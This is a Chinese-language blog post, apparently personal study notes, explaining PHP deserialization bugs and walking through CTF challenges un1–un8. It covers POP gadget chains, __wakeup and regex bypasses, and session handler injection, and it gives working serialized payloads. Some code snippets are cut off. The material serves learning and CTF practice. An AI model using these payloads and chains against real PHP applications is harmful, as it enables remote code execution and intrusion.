反序列化漏洞基础

发布于 2022-08-13  521 次阅读


漏洞

原理

  • 反序列化相当于解压一个存储着某个对象的类与属性信息的压缩包,解压时对象会被自动加入设定的类并带依然有所存储的属性信息

  • 反序列化的解压过程可以触发两个魔术方法,1. _destruct()2.反序列化时会触发__wakeup()

  • 通过利用这两个魔术方法,利用题目精心设置的'接口'(后面会提)访问本类或其他类的魔术方法(或普通函数),再不断地重复,最终访问到目标函数,这个过程就是pop

  • 为什么要pop:序列化只能存储对象的类与属性信息,反序列化时无法得到函数实例化信息

    比如题目是这样:
    class a 
    {
    public $object;
    public function __call($a,$b)
    {
        echo '羊宝宝';          
    }
    
    }
    unserialize($q);
    ?>
    解答如果这样:
    class a 
    {
    public $object;
    }
    public function __call($a,$b)
    {
        echo '羊宝宝';          
    }
    $q=new a;
    $q->pp();
    echo serialize($q);
    ?>

    本意是反序列化时调用不存在的pp(),直接访问__call(),但是经过测试发现不管有没有

    $q->pp();

    序列化得到的字符串都是一样的,序列化不会存储此类信息,所以只能通过上述3种魔术方法进入类,再pop到想去的地方

魔术方法与POP

魔术方法汇总

  • __call() 外部调用不存在,protected还是private的函数都会被调用

    __call($a,$b)必须带俩参数,$a存储所调用的函数名,$b以数组的方式接收不存在函数的多个参数。

  • __callstatic同上

    复习:static函数就是可以self::pp()的函数,用public(等) static function申请

  • __get($a)

    外部获取private属性时会被调用,$a存储私有属性名

  • __set( $name, $value )

    给一个不存在,protected或者private的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值。

  • __isset($a)

    当在外部对不存在,private或protected的属性使用isset()或empty()时调用

    $a存储属性名

  • __unset($a)

    当在外部对不存在,private或protected的属性调用unset()时被调用。

    unset()用于删除,$a存储删除的属性名

  • __sleep()

    执行serialize()时,先会调用这个函数

  • __wakeup()

    执行unserialize()时,先会调用这个函数

  • __toString()

    类的对象被当成字符串时的回应方法

  • __invoke()

    当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用

POP

  • 序列化字符串不能存储函数信息.所以不能随意跳转
题目:
<?php
class a{
    function __destruct(){
        echo '先进我';
    }
}
class b{
    function __construct(){
        echo '再进我';
    }
}
unserialize($q);
?>
如果这样跳转:
<?php
class a{
    function __destruct(){
        echo 'hahaha<br>';
        $w=new b;
    }
}
class b{
    function __construct(){
        echo 'hehehe<br>';
    }
}
$q=new a;
echo serialize($q);
?>
结果:
O:1:"a":0:{}

观察字符串,显然,不用反序列化也知道没法跳转

  • 可以让反序列化对象的属性信息=另一个对象,这样做并不能使反序列化的对象解压(序列化)时执行另一个对象的申请加入预先定义的类的操作比如(还是用上面那个例子):
<?php
class a{
    public $shuxing;
    function __destruct(){
        echo '先进我';
    }
}
class b{
    function __construct(){
        echo '再进我';
    }
}
unserialize($q);
?>
<?php
class a{
public $shuxing;
    function __destruct(){
        echo 'hahaha<br>';

    }
}
class b{
    function __construct(){
        echo 'hehehe<br>';
    }
}
$q=new a;
$w=new b;
$q->shuxing=$w
echo serialize($q);
?>

所得到的字符串观察发现,$w的有关信息已经写入字符串了(比如$w是类b的对象),但是序列化$q时并没有自动实例化类b从而触发构造函数打印hehehe,说明:反序列化对象的属性信息=另一个对象,这样做并不能使反序列化的对象序列化时执行另一个对象申请加入预先定义的类的操作,但是记录了另一个对象所在预先定义所在的类(或者属性)

  • 让反序列化对象的属性信息=另一个对象不能像上面那样直接利用,但是可以运用于利用题目设计好的跳转"接口"(本人的叫法)来跳转,比如:

    str=$name;
      }
      public function __destruct()
      {
          $this->source=$this->str;
          echo $this->source;
      }
    }
    class Show
    {
      public $source;
      public $str;
      public function __toString()
      {
          echo "flag is yangbaobao";
      }
    }
    
    $a = $_GET['a'];
    unserialize($a);
    ?>

    这里面的hello类的destruct()中的echo就是一个"接口"

    分析发现目标函数是show类中的tostring函数,而序列化只能进入hello类的construct和destruct函数,就需要从destruct函数跳转到tostring函数,tostring()的触发条件是show类中的对象被当成string处理,而show类的destruct()中的echo恰好有条件对hello类的对象进行字符处理从而进入tostring,显然,如果destruct中如果没有echo就不能跳转,echo就是此处的接口

     str = $b;
    echo serialize($a);
    ?>
  • 上面是通过"echo接口"进入tostring()的例子,下面再举一个"同名函数接口"的例子

    ClassObj = new normal();
      }
      function __destruct() {
          $this->ClassObj->action();
      }
    }
    class normal {
      function action() {
          echo "HelloWorld";
      }
    }
    class evil {
      private $data;
      function action() {
          eval($this->data);
      }
    }
    
    unserialize($_GET['a']);
    ?>

    这里面的test类的destruct()中的$this->ClassObj->action();就是一个"接口"

    test类的construct()将$this->ClassObj赋值为new normal();本意是调用normal类中的action(),但是可以控制$this->ClassObj的值来决定访问哪一个action()

    ClassObj = new evil();
      }
    }
    class evil {
      private $data='phpinfo();';
    }
    $a = new test();
    echo urlencode(serialize($a));
    ?>

注意

  • 注意用单引号,避免和原本的双引号闭环出现问题

    比如反序列化以下字符串:
    O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag1.php";}
    serialize("O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag1.php";}")//就会出错,闭环发生问题
    serialize('O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag1.php";}')//眉毛病
  • 赋值语句如$this->$verify=$this->$password;必须在函数中进行,可以构建函数函数.因为对象压缩时虽然不会存储所构建的函数信息(所有函数都不会存储,只存储对象的类与属性信息),但是函数修改的对象的新信息会被序列化

序列化,反序列化信息的查看

  • 反序列化信息头部

    O:类
    a:数组(array)
    b:boolean
    i:整型
    s:字符串
    N:NULL
    d:double,浮点型
  • 反序列化信息格式

    O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
    对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
  • 序列化信息查看

    var_dump()
    print_r()//推荐

类的私有,保护函数与unserialize

  • protected定义的属性不允许外部访问

  • 类的私有和保护函数打印出的序列化字符串要改后才能反序列化(不知道为啥)

  • 一般来说如果无回显就是反序列化失败,常常因为没有改写页面返回的序列化字符串

  • 例子

    name = $name;
          $this->age = $age;
          $this->money = $money;
      }
      public function hello()
      {
          echo "My name is $this->name ,my age is $this->age ! ";
          echo "I have $this->money RMB!";
      }
    }
  • 序列化后受保护的函数会被加*,私有函数会变成类名+私有函数名

    $obj = new People("李四", 20, 175.5);
    echo serialize($obj);
    结果:
    O:6:"People":3:{s:4:"name";s:6:"李四";s:6:"*age";i:20;s:13:"Peoplemoney";d:175.5;}
  • 保护函数反序列化前要在*左右加\00并且小 s 变大 S(不用变值,变属性就可以了)

  • 私有函数反序列化前要在类名前和函数名前加\00并且小 s 变大 S(不用变值,变属性就可以了)

    $a='O:6:"People":3:{s:4:"name";s:6:"五";S:6:"\00*\00age";i:22;S:13:"\00People\00money";d:180.5;}';
    $obj = unserialize($a);
    $obj->hello();
    结果:
    My name is 五 ,my age is 22 !
    I have 180.5 RMB!

绕过

  • 正则绕过:给object的长度加+号,注意要urlencode转码

  • 转码原因:实际操作中这样做会导致无法反序列化,原因是类似于+的特殊字符往往有多种含义(比如数学+,或者url的空格),为防止被转义需要进行urlencode()处理

    ?tryhackme=O:5:"funny":0:{}
    ?tryhackme=O:+5:"funny":0:{}
  • wakeup绕过:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

    ?tryhackme=O:5:"SoFun":1:{S:7:"\00*\00file";s:9:"flag1.php";}
    ?tryhackme=O:5:"SoFun":2:{S:7:"\00*\00file";s:9:"flag1.php";}
  • throw new Exception()绕过:

    $q=new one;
    $w=array(0=>$q,1=>null);
    echo serialize($w);

    得到的信息做如下处理

    ?hack=a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{S:11:"\00*\00filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{S:13:"\00third\00string";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:6:"twotwo";a:1:{i:0;s:3:"CTF";}}i:1;s:6:"MeMeMe";}}}s:6:"twotwo";a:1:{i:0;s:3:"CTF";}}}s:6:"twotwo";a:1:{i:0;s:3:"CTF";}}i:1;N;}

    改为

    ?hack=a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{S:11:"\00*\00filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{S:13:"\00third\00string";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:6:"twotwo";a:1:{i:0;s:3:"CTF";}}i:1;s:6:"MeMeMe";}}}s:6:"twotwo";a:1:{i:0;s:3:"CTF";}}}s:6:"twotwo";a:1:{i:0;s:3:"CTF";}}i:0;N;}

    原理见网址:https://blog.csdn.net/qq_51295677/article/details/123520193?spm=1001.2014.3001.5501

其他拓展知识

正则匹配

\d : 数字。  \D : 除了数字。
\w : 数字,字母,下划线。\W : 除了数字,字母,下划线。
\s  : 空白符 。 \S : 除了空白符  。
. :除了换行以外的所有字符
* : 匹配前面的内容出现 0 次及以上。
? : 匹配前面的内容出现 0 次或 1 次。
+ : 出现一次或多次。
^ : 必须以它开头。
$ : 必须以它结尾。
{n} : 恰巧出现 n 次。
{n,} : 大于等于 n 次。
{n,m} : 大于等于 n, 小于等于 m.
[] : 是一个集合,匹配中括号中的任意一个字符,如:[abc]即为匹配a或b或者c。
() : 后项引用 或者是当做一个整体。
[^]: 取反。
| : 或者
[-] : 代表一个范围,如[0-9],匹配即为 0123456789
i:不区分大小写。
m:将字符串通过分隔符进行分割,将字符串中的每一行分别进行匹配。
e: 将匹配出来的内容做一些php语法上的处理。
s: 修正 "." 的换行。
U: 取消贪婪模式。
x: 忽略模式中的空白符。
A: 必须以这个模式开头。
D: 修正 "$" 对 "\n" 的忽略。
u: 做 utf-8 中文匹配的时候使用。
g:该表达式可以进行全局匹配。

ord()

  • 返回字符串ascll值

控制变量持续相等:

  • $a = &$b,这个时候 $a,$b都指向同一个地址,其中一个变量改变值,echo另一个,结果也会改变,因为这两个变量是指向的同一个地址。

动态调用

  • 外部函数动态调用

    function hello()
    {echo 'hello';}
    $a=hello;
    $a();//此处相当于是hello()
  • 错误示范:这样调用会报错无法静态调用动态方法,但是仍可以"正常"运行,但是会出现进入函数内部后,无法进入其他函数的严重问题,有的时候题目有@屏蔽报错,会导致无法发现问题

    如果函数在类的内部需要数组调用比如:
    class A
    {
      function test1()
      {
          echo"a";
      }
    }
    $all=array(A,test1);
    $all();//
  • 数组动态调用的另一种正确形式

    array(new a(),flag));//此处是正确操作
          $string[string]();
      }
    }
    $q=new a;
    $q->object=new c;
    结果:
    flag
    ?>

Unserialize练习wp

un1

 <?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
}
if (!isset($_GET['tryhackme'])){ 
  show_source(__FILE__);
}
else{ 
  $a=$_GET['tryhackme']; 
  echo $a;
  unserialize($a); 
}
 ?><!--key in flag1.php--> 
  • strchr(a,b)查找a在b中第一次出现的位置,找到后返回剩余的字符串
  • 分析:旗在flag1.php中,观察正则发现对输出没有影响,不管它继续看发现输出flag需要执行SoFun的destract函数,而且执行时实例化对象的file属性必须是flag1.php,于是考虑序列化一个实例$a进入sofun,并且它的flie是flag1.php(注意,序列化时不能直接在外部申明$a的file,因为sofun的file是protected的,直接从内部改file的属性值)但是发现执行destract之前会执行wakeup函数,此函数将file的值重置,所以需要绕过wakeup(方法见上)
<?php 
class SoFun
{ 
  protected $file='flag1.php';
}
$a=new SoFun;
echo serialize($a);
?>

O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag1.php";}//此为处理后信息(处理方法与原理见上)

?tryhackme=O:5:"SoFun":2:{S:7:"\00*\00file";s:9:"flag1.php";}即可

un2

 <?php
include "flag2.php"; 
class funny{
    function __wakeup(){
        global $flag;
        echo $flag;
    }
}
if (isset($_GET['tryhackme'])){
    $a = $_GET['tryhackme'];
    if(preg_match('/[oc]:\d+:/i', $a)){
        die("NONONO!");
    } else {
        unserialize($a);
    }
} else {
    show_source(__FILE__);
}

 ?> 
  • pregmatch绕过:?tryhackme=O:5:"funny":0:{}->?tryhackme=O:+5:"funny":0:{}即可

  • 正则匹配绕过:pregmatch绕过:?tryhackme=O:5:"funny":0:{}->?tryhackme=O:+5:"funny":0:{}即可

  • 分析:绕过正则(注意转码)后,直接进入wakeup函数即可,所以直接实例化funny

     
  • 得到O:5:"funny":0:{} ,绕过正则:O:+5:"funny":0:{},编码后O%3A%2B5%3A%22funny%22%3A0%3A%7B%7D

    (urlencode('')注意加引号)

  • ?tryhackme=O%3A%2B5%3A"funny"%3A0%3A{}即可

un3

 <?php
include "flag3.php"; 
class funny{
    private $password;
    public $verify;
    function __wakeup(){
        global $nobodyknow;
        global $flag;
        $this->password = $nobodyknow;
        if ($this->password === $this->verify){
            echo $flag;
        } else {
            echo "ä½ ä¸•å¤ªè¡Œå•Š??!";
        }
    }
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
unserialize($a);
} else {
    show_source(__FILE__);
}
?> 
  • 分析:直接反序列化进入wakeup即可,但是对象的password属性被改成一个未知量,却要满足对象的password属性值与varify属性值相等,所以使用上面提到的共用地址,构造__construt函数,将password属性=&varify属性的性质保存

    verify=&$this->password;
      }
    
      function __wakeup(){
          global $nobodyknow;
          global $flag;
          $this->password = $nobodyknow;
          if ($this->password === $this->verify){
              echo 'flag';
          } else {
              echo "wrong"."
    "; echo $this->password; } } } $a=new funny; $b=serialize($a); echo $b; echo "
    "; //?tryhackme=O:5:"funny":2:{s:15:"funnypassword";N;s:6:"verify";R:2;}(这是初始结果) //?tryhackme=O:5:"funny":2:{S:15:"\00funny\00password";N;s:6:"verify";R:2;}(这是处理结果) ?>

un4(没搞懂,之后整理)

 <?php
// goto un42.php
ini_set('session.serialize_handler','php_serialize');
session_start();
if (isset($_GET['tryhackme'])){
$_SESSION['tryhackme'] = $_GET['tryhackme'];
} else {
show_source(__FILE__);
}
?> 
  • PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置.

    函数格式:string ini_set(string $varname, string $newvalue)

  • Session 的工作机制是:为每个访客创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,或者通过 URL 进行传导。比如a网站下又两个网页b和c,session保证从b到c时身份不会失效,Session会被序列化与反序列化

    
    
    
    
    
    菜鸟教程(runoob.com)
    
    
    
    
    
    
    

以下转载https://zhuanlan.kanxue.com/article-13220.htm

  • session.serialize_handler用来设置php的session的序列化方式,多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

    处理器 对应的存储格式
    php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
    php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
    php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组
  • 漏洞:

    通过上面对存储格式的分析,如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据

    i)当 session.auto_start=On 时:

    当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,如下面的代码:

    #!php
    //foo.php
    if (ini_get('session.auto_start')) {
      session_destroy();
    }
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['ryat'] = $_GET['ryat'];
    
    当第一次访问该脚本,并提交数据如下:
    foo.php?ryat=|O:8:"stdClass":0:{}
    
    脚本会按照 php_serialize 处理器的序列化格式存储数据:
    a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
    
    当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象:)
    这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。
    

    ii)当 session.auto_start=Off 时:

    当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:

    #!php
    //foo1.php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['ryat'] = $_GET['ryat'];//在此处序列化ryat
    //foo2.php
    ini_set('session.serialize_handler', 'php');
    //or session.serialize_handler set to php in php.ini
    session_start();//在此处反序列化ryat
    class ryat {
      var $hi;
    
      function __wakeup() {
          echo 'hi';
      }
      function __destruct() {
          echo $this->hi;
      }
    
    }
    
    
    当访问 foo1.php 时,提交数据如下:
    foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
    
    脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 __wakeup 方法和 __destruct 方法:)

un5

 <?php
include "flag5.php";
class funny{
    private $a;
    function __construct() {
        $this->a = "givemeflag";
    }
    function __destruct() {
        global $flag;
        if ($this->a === "givemeflag") {
            echo $flag;
        }
    }
}

if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
    if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
        die("ä½ åˆ°åº•è¡Œä¸•è¡Œå•Š");
    }
}
unserialize($a);
} else {
    show_source(__FILE__);
}
?> 
  • 分析:与之前一致,只不过多了ascll过滤,可以测试是否会死,也可以直接查表看过滤了哪些

  • 测试是否会死

    ';
      if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
          echo "wrong";
      }//?q=O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";} //测试这个
    }
    ?> 
  • 发现死不了,直接?tryhackme=O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";}

  • 查ascll表发现此处相当于过滤了键盘上没有的字符

un6

 <?php
include "flag6.php";
class funny{
    public function pyflag(){
        global $flag;
        echo $flag;
    }
}

if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a();
} else {
    show_source(__FILE__);
}
?> 
  • 分析:没有魔术方法,反序列化之后无法进入funny内部,只能通过动态调用进入,即反序列化值为pyflag,同时反序列化值必须实例化funny类,所以:

    
    得结果:O:5:"funny":1:{s:8:"funnya";s:10:"givemeflag";}
  • 所以:?tryhackme=a:2:{i:0;O:5:"funny":0:{}i:1;s:6:"pyflag";}

un7(没搞懂,之后整理)

 <?php
include "flag7.php";
class funny{
    function __destruct() {
        global $flag;
        echo $flag;
    }
}

show_source(__FILE__);
if (isset($_GET['action'])) {
    $a = $_GET['action'];
    if ($a === "check") {
        $b = $_GET['file'];
        if (file_exists($b) && !empty($b)) {
            echo "$b is exist!";
        }
    } else if ($a === "upload") {
        if (!is_dir("./upload")){
            mkdir("./upload");
        }
        $filename = "./upload/".rand(1, 10000).".txt";
        if (isset($_GET['data'])){
            file_put_contents($filename, base64_decode($_GET['data']));
            echo "Your file path:$filename";
        }
    }
}
?> 

un8

 <?php
include("./flag8.php");

class a {
    public $object;

    public function resolve() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "system" && $prev === "ls") {
                echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class b {
    protected $filename;

    protected function addMe() {
        return "Add Failed. Filename:".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class c {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["tryhackme"])) {
    unserialize($_GET['tryhackme']);
} else {
    highlight_file(__FILE__);
}
  • 分析:本题显然要找pop链,目标是进入a类的resolve(),寻找接口,发现可以利用c类中的get方法动态调用进入resolve(),寻找接口,发现a类的tostring可以访问get,寻找接口,b::addme,,后面依次是b::call,a::destruct

    所以POP: a::destruct->b::call->b::addme->a::tostring->c::get->a::resolve

    进入a::destruct

    $q=new a;

    进入b::call

    $q->object=new b;

    进入b::addme

    不需要,它自动就进去了

    进入a::tostring

    $this->filename=new a;

    进入c::get与a::get

    $this->filename->object=new c(array('string'=>array(new a(),'resolve')));

    汇总详解

    ';
        //print_r($this->ls);
        //phpinfo();
        array_walk($this, function($fn, $prev){
            //echo 'fn[0]='.$fn[0]."prev=".$prev;
          if ($fn[0] === "system" && $prev === "ls") {
              echo 'flag
    '; } //else echo 'if not'; }); echo"exit resolve()
    "; } public function __destruct() { echo "a::destruct
    "; $this->object->add();#第二步:如果有个类b的对象$x在这里,就会调用b中不存在的add(),从而进入b::call,所以实例化$this->object为类b的对象,即$q->object=new b(可以写在这里,也可以写在外面,但是写在外面保险一点,因为不会被重复调用) } public function __toString() { echo "a::tostring
    ";#第五步,将$q->object->filename->object申请为c的对象,此处就可以访问c的string(private定义的),就会进入c::get() return $this->object->string; } } class b { protected $filename; public function __construct() {#第三步,构造了construct,原因见下 echo "b::construct
    "; $this->filename=new a; //$this->filename->object=array('system'=>'ls'); $this->filename->object=new c(array('string'=>array(new a(),'resolve')));#原因见第五步(可以写到第五步的地方,括号内为传入值,原因见第六步) //$this->filename->object=new c; } protected function addMe() {#第四步,发现return了filename,如果这个filename的值等于a类的对象,就可以跳到a::tostring,所以$this->filename=new a;即$q->object->filename=new a;(必须写到construct中,不知道为什么不能写在这里,要死循环) echo "b::addme
    "; return "Add Failed. Filename:".$this->filename; } public function __call($func, $args) { echo "b::call
    "; call_user_func([$this, $func."Me"], $args); } } class c { private $string; public function __construct($string) { echo "c::construct
    "; $this->string = $string; } public function __get($name) { echo "c::get
    ";#第六步$q->object->filename->object是c的一个对象,被$this替换了,c的构造函数中$string=传入值,get()中$this->string=$string,而$name='string',所以$var=$this->string,三者相等,相当于$var=传入值,原式化为$string['string']();($string就是传入值,可以随意赋值),这里明显是动态调用,让$string=一个数组,$string数组的key为string的值为array(new a(),resolve),就可以了,进入了a::resolve() $var = $this->$name; $var[$name](); } } $q=new a;#第一步,进入a的destruct,实例化$q作为类a的对象 $q->object=new b;#第二步,解释在上面 //$w=new a; //$w->resolve(); echo serialize($q);//?tryhackme=O:1:"a":2:{s:6:"object";O:1:"b":1:{S:11:"\00*\00filename";O:1:"a":2:{s:6:"object";O:1:"c":1:{S:9:"\00c\00string";a:1:{s:6:"string";a:2:{i:0;O:1:"a":2:{s:6:"object";N;s:2:"ls";a:1:{i:0;s:6:"system";}}i:1;s:7:"resolve";}}}s:2:"ls";a:1:{i:0;s:6:"system";}}}s:2:"ls";a:1:{i:0;s:6:"system";}} ?>

最后echo结果经过处理(私有与保护)得到?tryhackme=O:1:"a":2:{s:6:"object";O:1:"b":1:{S:11:"\00*\00filename";O:1:"a":2:{s:6:"object";O:1:"c":1:{S:9:"\00c\00string";a:1:{s:6:"string";a:2:{i:0;O:1:"a":2:{s:6:"object";N;s:2:"ls";a:1:{i:0;s:6:"system";}}i:1;s:7:"resolve";}}}s:2:"ls";a:1:{i:0;s:6:"system";}}}s:2:"ls";a:1:{i:0;s:6:"system";}}

unr(task5报告补充)

  • 分析:好家伙,这不是和unr一样么(注意要gc回收)

    直接上测试:

    object=new second;(不知道为啥不能写在这里,序列化码不全)
    
        @$this->object->add();
      }
    
      public function __toString() {
          //$this->object=new third(array(string=>array(new one(),MeMeMe)));//(不知道为啥不能写在这里,写在这里就会序列化码不全)
    
        return $this->object->string;
      }
    }
    
    class second {
      protected $filename;
    
    public function __construct() {//还得自己加一个construct
          $this->filename=new one;
        $this->filename->object=new third(array(string=>array(new one(),MeMeMe)));
    
      }
    
    protected function addMe() {
          //$this->filename=new one;(不知道为啥不能写在这里,写在这里就会序列化码不全)
        return "Wow you have True".$this->filename;
      }
    
      public function __call($func, $args) {
    
        call_user_func([$this, $func."Me"], $args);//根据之前那个例子,$this不是应该遍历属性吗,这里的意思又好像是$this是类名(后面要查这个问题)
      }
    }
    
    class third {
      private $string;
    
      public function __construct($string) {
    
        $this->string = $string;
      }
    
      public function __get($name) {
    
        $var = $this->$name;
          $var[$name]();
      }
    }
    $q=new one;
    $q->object=new second;
    $w=array(0=>$q,1=>null);
    echo serialize($w);
    echo '
    '; //?hack=a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{S:11:"\00*\00filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{S:13:"\00third\00string";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:6:"twotwo";a:1:{i:0;s:3:"CTF";}}i:1;s:6:"MeMeMe";}}}s:6:"twotwo";a:1:{i:0;s:3:"CTF";}}}s:6:"twotwo";a:1:{i:0;s:3:"CTF";}}i:0;N;} ?>

    关于unr与un8中序列化类的位置被限制的问题先放着,之后再回来处理

届ける言葉を今は育ててる
最后更新于 2024-02-07